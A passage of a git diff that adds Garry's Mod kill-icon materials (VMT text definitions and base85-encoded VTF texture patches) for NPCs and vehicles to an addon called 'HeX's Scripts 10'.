a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_strider.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_strider.vtf new file mode 100644 index 0000000000000000000000000000000000000000..1f4f3749a5422684519cefc7e0383f49091eb9c2 GIT binary patch literal 5696 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 J9{>0K{2KsSNcsQ( literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_vortigaunt.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_vortigaunt.vmt new file mode 100644 index 0000000..51a1a4d --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_vortigaunt.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "HUD/killicons/npc_vortigaunt" +// "$vertexcolor" 1 +// "$vertexalpha" 1 + "$translucent" 1 + "$nolod" 1 +// "$additive" 1 // hldm style! +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_vortigaunt.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_vortigaunt.vtf new file mode 100644 index 0000000000000000000000000000000000000000..d4e4b871b87b14bf3523aca37bdda76effdf291b GIT binary patch literal 5696 zcmc&&dsN%i9ls}Y8fimI9~N4Jh`;3SdqaP?L;v8gwp%z5 zzQ23#_wo5Y?@y;yqbP(B2Y#2puM&O`g(4#0e}t_0-s<{$JbT3Va5@|3hJx$!$+LJ^ ziHe0kLgBGS8s-VL#b7MLld)h%5Q zBEuh6KdIeWdNOn#v-am5tPdW<0nFmC@S?Na>lAy2>cV(vr=EXu>~JMBcs|JDLkF9V zv>c$kEKXnH4PprYf1cUJy1Kp~W9b5F`w8#$@P-|ehjdaNdN5$EjU6)5>BzfAR`ku&k% zKZvE7MX7uNz4q&ePvAfcwtdr4h4>a{_mD9Ju_9m`4^t3NCJISz&{cAulyAMfOE~>Q&9I@ zGLScnEFAm_Cg*9>W9M!N^RG)+!hYC(86Ih^&N2r0orHQtN78gSyg~oQeF*h}!HpmF z1WCPUa)UjF%k6m|@+}S4pCk1;r)D34k)r zcKLic!NWc82DdZTqxlg}#CI1;`U%z(7;Sqv-u0)hwLVvye_z<&uO+)6|G?jg$_viY zxBh|g3FtqxBL?A>^;>W5>e&&TF-kWB_Vq~(!17ha$n&Flm zW{SVuQqmWBDV|a%;z@tC^`9}n`-n9>isS=L+iaK@{Ss#uLZp8>WHB7pKDBXx+BR$& zW9faGTA{BPcd>M2!5bpSyxEhqx~MHLN3!d6c72DrEl+ZX-SNQCyJAlc6QwSKcs5!3 zW~}c7{NZEZpDV79QAqPgQf~-b!tWM*e`|U{U8dTs;zv8^$^P_Pqf69*0#G~&UI@Ke zH9&1d_Q`&dVRTU;U&kcvS8?S6`wt)B5ZP@-e$8=8kmJzflN0g5uimf1y)s$s*bU6f zz_lOhBV-GT!%ms!jn_UMB>AH^SpL`eM2;S^Gvo20v{Z!VDHICU-nP6lc?<4MW9fY= zPWCcCygY*Bc9K*aKiZAW9&%W`L=8le@&-Sc>_}}KH^{)(ovExn5 z0;5VOnBD7U&qr6c7y3@0Ss%K^%8{TrUxNw>4aFrh?)O)USHd}6#rNt8Kk2^;8|1?! ze@7M!P*QLgOJ@{4Brkru#8({vd%nFhX`f2P&$#y$eF*vkxZLKhSBlCd|EW z>Egd^3C}O@%G`9^*_MPY?K~%0PySPj!i5%XyRmWbA{Y3-d{^6(H{btGgcn+dN{G-G zkblxk{h!n$-Brl%nc5%sovy+^XlF=2Q)I|wti6#14f33jWisAR!=ibBQ3#qsfb!I&Pgt06C3PYg@YN8$QX3idhv5B5xFzYF?No95+N1b^t~iTK$F z3IY;k8EZwdY-tQ0CKRF;7)ym69X<3`HEij)NcSkf1#gdP0q z8{^#z)a$m?H8QkAMJ80XPC@8GPm2oo>v=xlgEkf zJ`>_txpVqBck{r0i^XER*7i;1f4ARR-l%(#>92!%*6omm(nct7Pe~-y-@v%Z@WMr? zUpQXQl~a7lY&)$6I=|+NJ()&|FW6W^bI-oC*wa()eF*H+!a$z>3BhkgS{mR*;-zR@ z{bDGH^D}{;qqEhT@;RJ8qV$may46>#M{ma~307pDGQs(&`dw>!)6TIb{8I})Ro5z# zLH)j!sTt|ddHNW?Ud1PGDp4Wc9KQH=zwBp36BiIl2 zh3mtuNFYH1v=aJTUx^R#4gpv_%Z@_-BJp*__ve}76I=>11~N1f{MgHS}3qH<$v2z#?BltCz1Z30Km3hAo0`03>HGgj@eBMy+?+7 z;Yp@Z$+uWJQq0v1q#L*;B!6iATC1{(#E;lBAPM7h)$75pwm4U8b(U=<{R7&!ZC&uk z5u%~md|aaG?(XJ&*t5(NKhk>u?!UDDnT?z)oX1~9a@&8-kLdI#@tYu?NWX*jN8@Hh zA)XNNpnh_sot@}x{Kx_f_oYG#Ss-5iO5{Jt$*TV^NBB(kbntE3(Lau1<-b& zZ@aVPQ9={Eq(H~YH7f{R2mQbb^i=*crQ?!ICguH&$iFcn+%HHxjsyLRI}PFWT95~? d8|aKVTS|z07wALei_xm^`w!BeOh8X3|KGq9tFQn7 literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_zombie.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_zombie.vmt new file mode 100644 index 0000000..036cd64 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_zombie.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "HUD/killicons/npc_zombie" +// "$vertexcolor" 1 +// "$vertexalpha" 1 + "$translucent" 1 + "$nolod" 1 +// "$additive" 1 // hldm style! +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_zombie.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_zombie.vtf new file mode 100644 index 0000000000000000000000000000000000000000..1f3096d4353a6b665a306c02fd573d4457b1c284 GIT binary patch literal 5696 zcmeHLeNat5KXORBCOAb*OO%M>IENE1*d&C=Qsh)gqJv zLEBZpZnYSm(=-O%)1iMb4$xs| z_GXfob8qgs=l8qkoO^D}rep{M06D&w<2wmoz=2GL-+^UiO(!BBb3^5V*w+&m2wear z`Y8MiQ{o4X3q8MXLI=SnJ$LLuIpa*7BumfUPdJ8L&vPt*;VDA2F#zeN)xWGaTQ_7)5~F60)YsQPsgxxN*sPNQf_R<}K9Z38 zZC1pm=dA#nQ#KPX7ydaK zY5v`gzuN4|^|*2$%d(05@4DOhqy7C{y3DIt=FluD=h%?C3^Ij3%ul1e)L6!`mL$i% z(dr*QpNjrg32Ti4-m2|%?vMj~d>rDoS~8zi_R~EVn|Gb9H3HL~kx?{!{%GZhl^^&5 zgFebS0i0T$@|DYUfa(WZQ=2*NPnxex`qL}cytsAh*VC;4-5**<_U~c-JCc3O7lXdQ z<&A;lXpFyjH+kYl#b6V?d1}cf8N}1#qPZ!JvFHyT1ICxhOh&yvdndjHGljfF=oZ_I zFU5oZ|~1m1H7f(apqAlIxrt-WJ0{Bjeh;dX@X6&?3fr&s*p3* zms%o`vUT*Mm)>?i02x}4;2+5Ngr=}esBHv-$>5m&3PT(nE>%lXBDMG{I?WrGsx?C z=O5{{%36%)!<($Ey#yel(UsC#5eU1m3HeF0togm|9qaXYn8(UvSo!osV5)QtehEJ} zf7`r52Y@6W&N0lCmv?usa?zXnX|Fyj=itmFug^c$_Kdf_Lt;LEbMgC}n4eVKM^`EW zJf+um0_#_nc_q9D?Oa^nH)({r1%D_Bdm@qJ6k5NV1_N^;>G+IoMvnPmOWK6bZz*@q zFCl+pI(84r6w&e!fVxy*oNu*HlJG9wYn@+ky<9;r33%mgb?YIHWTt;}`=QDMrHTvI zQVy7Zb=JX3N28bzyz@nUmhs-N(dtj=a%C5~vZrsy{N;96#Y=c~)oTs@hFRgi$hAR< zGhVgiX9bG;!f3yKPBq8ouW^*W7tQ|sUU6r{`|~-bv-y!wFKlb?u8xQcO68bm*Ke?o z*1mC{-vLp#mcPQEH(-8?*J>rabE+q8(CHr3{pALwdiv9}qk9ZX?D_fjaGFvxuQ5C5 z3f7O|enP@JO}&AwM-*PX+|39-NkYF+PrYRxC&6~owZ2f&C*ePf^`q`rd~_l|FezL)C_5cF8zM^1VZ2-HYr6i| z@D8^(F3I)u6xTC*)d-KctE#A9&O(@7tY4|O?Vr>Pz_iLjL!yDvI^7pP;pt61`a?*J zjeTL~uAP5qXk6%V#(HeX7fCalhwGnca^z8=UbD^;|8F2f_24a6_U!BE-)O(vS>Hxm z1n&aQ#&FDu6L04{*VFQ1XGcXq8>7bioKgX8LO$q!QX6A{16}L#AIN)0Dc+~>{4kHf zeP*orTKKt$ce;2VAtZjWC%GcfPw64FR~Ie^T0VsLEUSjLwl)jfQhaOacE!m>IBvgO zrK^tztEFgI{X;LC2YO!#^?xHH+ucby6dcya$4whstsdZ#%U z^!T>?Oy%v*DusM)!|_bqKc+t+XV&dJpCGGLDz}smI#?Uykk|X$W%)IlrN=aa|Cme@ z&)*ebtQ7CpxUE>vkjVBx)D>6G6k-1leds4t20@9ZSLg(}ps2WbxW7GIuw`TKmb@}C zp4}?l_SuUl=sT1$N82=ML{~Ond4lmSu M8OYCY{1Z+7FXXclaR2}S literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_zombie_torso.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_zombie_torso.vmt new file mode 100644 index 0000000..bf386e1 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_zombie_torso.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "HUD/killicons/npc_zombie_torso" +// "$vertexcolor" 1 +// "$vertexalpha" 1 + "$translucent" 1 + "$nolod" 1 +// "$additive" 1 // hldm style! +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_zombie_torso.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_zombie_torso.vtf new file mode 100644 index 0000000000000000000000000000000000000000..c6e1b1c91ca0cbaba5d8f599b3a3c7ae8a577372 GIT binary patch literal 5696 zcmeHL4^Y$B9e)In07iZm)5bZ*Pe?GzG2>3CoPS7)Q({;Du)GA2VG^_=$Pk=dz#JF?92zGMM-}HEs13;9x9>~#qrKQW>Z!fnt&a=j z^LxMdzW+Y&^WHmS>bL~% zdFCa=$2pmuoko_mV;q~j4536dwsQSC5kg9szvUQ0-tdC|O~h~2V9fPL&j)MJ6e1l% zpcw-r$|yFn3O-RKCJuTkf6C6!n%xnPkX4tIw~Uz6Cz^ z;td*=sNv$}Hc^Hxb^l}rZxmwY$kFuHhICtt2_X$uVMGl>|mV}3m-+?zm}6Zp38^p_}3pc*O9(9vgnjEKT-B0o1#d!ZSf&zo?PFb&}1$m zPu?e)R%hO35oL+kdrvEuzrg&eJn9dZN7wNwCC$muZ{zZc9uN4Mls?$>VumG%<0RsQ%T1Tz@>H}k!;=k$`zADdQ8D~t2JukrV5&J);}s3c)2_= z_BW&1i@s&n4fI?d3`v0btimWl9CSfzOpUTIURgs(^YJ`e-B9x9`+-mDq^09NefWOV z&_G}Z%rB|Ggkul{3odf}8iy1P%!0r1K(Nv54-sX%ctMHS<2@Gr6L+?A_TNplu#$Rm znDjdQVK14=WO8FohGYd9YC4*3qxn#&MxS5u5b~LwJQ%iz=I>+Ae{`8M?mQu+G9LJ7 zja$muLvjmSAV0s3*r>e%G$xi6&1vh{5O|6V{k7qpR;UMmQRc5Tqs8OeA8BjOAUzp( z!ahXE(^C@8+3U<=rHQKhcR9T110=(F-EP{pPXcVm1U5P7hzfMWbv{%M?lm$!<+Er! z8|FRLPYVH!t4A&|Cr^SDd;xkQgnBSL2x)X;ej?yE?+s=QM(Ay0fWLxpjETA!Mt4Or zR)wg?cmTUwNp}>P-db`Fp*I?HvHZSvm=K+TNM43fK*KbGi^Un7}8~?gP|4KZl{sUcwLrD42`nGv9-`)=UjeSklMU>JG`ZFh5 z3Hva-@I&+eS^b&V5Bq&YO8DkX8gHrO)t=^)^OpSa5BwUIsW;`ek?fTIw2+R&3$qGk zH&(5{-OLUB{$t)VlXVJ4b4ioMgu>!J8qiAh7h`qYv)X^w_s2Xm>*|uu47N+bUVUxo zFj`XaH{f?iJj=)VHN0O|fV*0D@& zt-yQYBV}I|8SoF%A%1_wEkkIRe_8nMl{Sl<<*Nl4KXDJKRv+Fciw1o&oyps<5@j33 z+7dD4%L-M(3+IE+b@S@b1%AW9G#+bxIC<<8+;>yUS$nN7kJIxtrnAc))EJG-?ZSX- zRYT{urh>n!#HZ>(+?6{g%wTvr2IgC(%v^ku5I9c-CNI-5ZhuKn|Bsu4-{N-A`)}j7 zSLA}VO^{+5@2VHTfA9aTH*WtJYc{XiE&4mLur%J&JW}b5HzZcUgiFHexOnemZC3EM z6Fh>A9(rTl>H1er<##o}IXBg$WpeKopf05RQvBAzadbZdJ`Dck>iGuJM~HYTLZz_( z_!H%a6TJV_(j3Y1^-16VdVUQli@$lE@xR)4ncU6jqVd-}2(xnWwM$vPU;QUS4o62? zSfB9HGaP<9H9FGQH>{q+Ym2t(c|N}NWB`Z`Ep)wZR@^#mBRSxJtODw{$zaG0y5aZE z^(_J$mw(sw^0Kjq5y%Ah0haR7p|{@Sc^(KgX%Vsu+(-D`WKc+Psv)0?uTl{_V`tQf z#~ePVTp1~u=Ht!bYW>+|zICTHzvu!okb#9h>&w})d$~#D+d5^oBfwv>c0Kk98=^aUY`l+lm(u&$IGH0eZGl zxmQg2T?+PxBS3FF7`H=3g(6?yskK~uX&c>@2E)yM4v&d7%FZ=I-@;@s;4@#|=4AA!(v@q8wWv7MJZ?u;?6s=|VZMnKX z$h~mKQqVv`YHDuF@Iijru9L`tV^257+kJVy(o0i&{PKH9S0yV-G8mq$e#B}&zDP)U z4C3brrX3!x^AhRM*spl;I%(cOmqxk<4o}DD+9{@@1O0;qF{YC23yD|@=Q+544q-g`OupIz6ruIM3;jHo|1Y@4^CO0YLi?`u J`+v*Ve*y0c6H@>H literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/prop_ragdoll.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/prop_ragdoll.vmt new file mode 100644 index 0000000..ba084bd --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/prop_ragdoll.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "HUD/killicons/prop_ragdoll" +// "$vertexcolor" 1 +// "$vertexalpha" 1 + "$translucent" 1 + "$nolod" 1 +// "$additive" 1 // hldm style! +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/prop_ragdoll.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/prop_ragdoll.vtf new file mode 100644 index 0000000000000000000000000000000000000000..f77713d2745b6085a4c45e49a2d65b6ac1917bea GIT binary patch literal 5696 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 I^}E{pAD*LTdH?_b literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/prop_vehicle_airboat.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/prop_vehicle_airboat.vmt new file mode 100644 index 0000000..c1c09e9 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/prop_vehicle_airboat.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "HUD/killicons/prop_vehicle_airboat" +// "$vertexcolor" 1 +// "$vertexalpha" 1 + "$translucent" 1 + "$nolod" 1 +// "$additive" 1 // hldm style! +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/prop_vehicle_airboat.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/prop_vehicle_airboat.vtf new file mode 100644 index 0000000000000000000000000000000000000000..ffb03735482130d5516ab7466419831164700803 GIT binary patch literal 5696 zcmeHLeN(a7+K&&!Jnlo{r3<(_5ETVImWx%^n1$z*f$U1+7T%Q zArrncQOr950R-T(5dc?U)BB>MpTE@{rB5+Hcr1BtNk2LBfCfO$g7+StH&% z2%o{hl)>(A-%*>Mzb+;G$KUk{$8zn_{$h8FKP9iU_*XTZZ1H=z$$!Rb+ZP+5`*4gYyDu?Q& z26BvUhU;q6Plse)RBU8ax{f8QzUcqn)w4l(zQ$+e9$N9AgB368Q!#E^c>yAO1FKub zXB~;5sn~j-@)-wR)-)C13an(c^{C7{~WvDOXfK+ z5$q@W9Hl;gg2sAk=-*R2uP@5f-$gVPANTa}|7H9x%E|Nj-`}r`{4Mgg=s#a${O~RQ zc8<2zPbch++6+g#^F#GGzoe#K>z!w{9$(*HvX10KsVpk$n--s(`w0)s|Ex4$lL64o z;V{Ng60Rq!1&1X{UQSZd;M(d+Q`hFnh$}Pzd!ovlRIiizAYj!dk{==TTUv*4splO_ z{)I5^Nq!`xUdT8qvettrK8E0I7a_^txLp15llosbMy?(_#xp#|^E;%}5e9>StO*v_ zMGAuQa||tL^=QeRb50=wUn!+Fn+}YY4SbhkJagx8P`!Iuz!^o_bO~Q9yII+QvAm(~ z{uXof!236D@JYRpm=hN6m?GR%acH2Ftbg=(v4sUd8TNzivMR#Y_Wh5hmcE4fD>=in z@*&^*wxzzxkg2BUj#2XHy1jcJ1v#!| zB16qay#Cjz=ArplNW2Wjr6YkT9y|^6_f^v8W3!p>weUMjLS!)8+}9H zOv~pQudJzJt}swxG%z*<2L~TNnR&a)^Y$iR+>a;{;(cV|Tx-w42&E zvU`V=r&7(nyZTSXbl0yA^k}4BRBox0htEj`$_=CjIHw zhlZVRE_sWsM89s?1D zL7OCn+|XQoNLtMM?n#648AhNsTHiYG-UG}Zg!1@>^07WwoANyzf~1<(;TIZWflf{b z5-D-~T}TbzImt}p{=DzlvSBF=pw9Kg)bMhV2FYnf@u4k{%MguUX(V-2|A8 zogT9US2sJRU<`U5#!Xq|8t01h{cG50j#T~t+-&PVoj4DgY<%Br3#>>i`yA&qa}Pll z%gHAHw7sfgn#pWJpIJVAfRndYYjh5N_ZmjWEcUpMxSWwwO=#8NGShA}74p&W6*^&X z@Drw|)=A&0&|CYpZSsZk!`dcJ)?Y$^jpyH9h-w`$zJdEWkO<*C=*$q|6yt#V%Oq^iLf5;fk9owy)}Jo&vB<|a$shg& D5L9-p literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/prop_vehicle_jeep.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/prop_vehicle_jeep.vmt new file mode 100644 index 0000000..9802b23 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/prop_vehicle_jeep.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "HUD/killicons/prop_vehicle_jeep" +// "$vertexcolor" 1 +// "$vertexalpha" 1 + "$translucent" 1 + "$nolod" 1 +// "$additive" 1 // hldm style! +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/prop_vehicle_jeep.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/prop_vehicle_jeep.vtf new file mode 100644 index 0000000000000000000000000000000000000000..8703b1a2ecb8229946e430dbab45d24da19c8b5e GIT binary patch literal 5696 zcmeHK4^Wfm8GlKFNq~?@6{BJ6myn2Qi^5Lukai?P=(3f9$V*ZPfdKUi9K)`|Kb+3WRe@4DNL 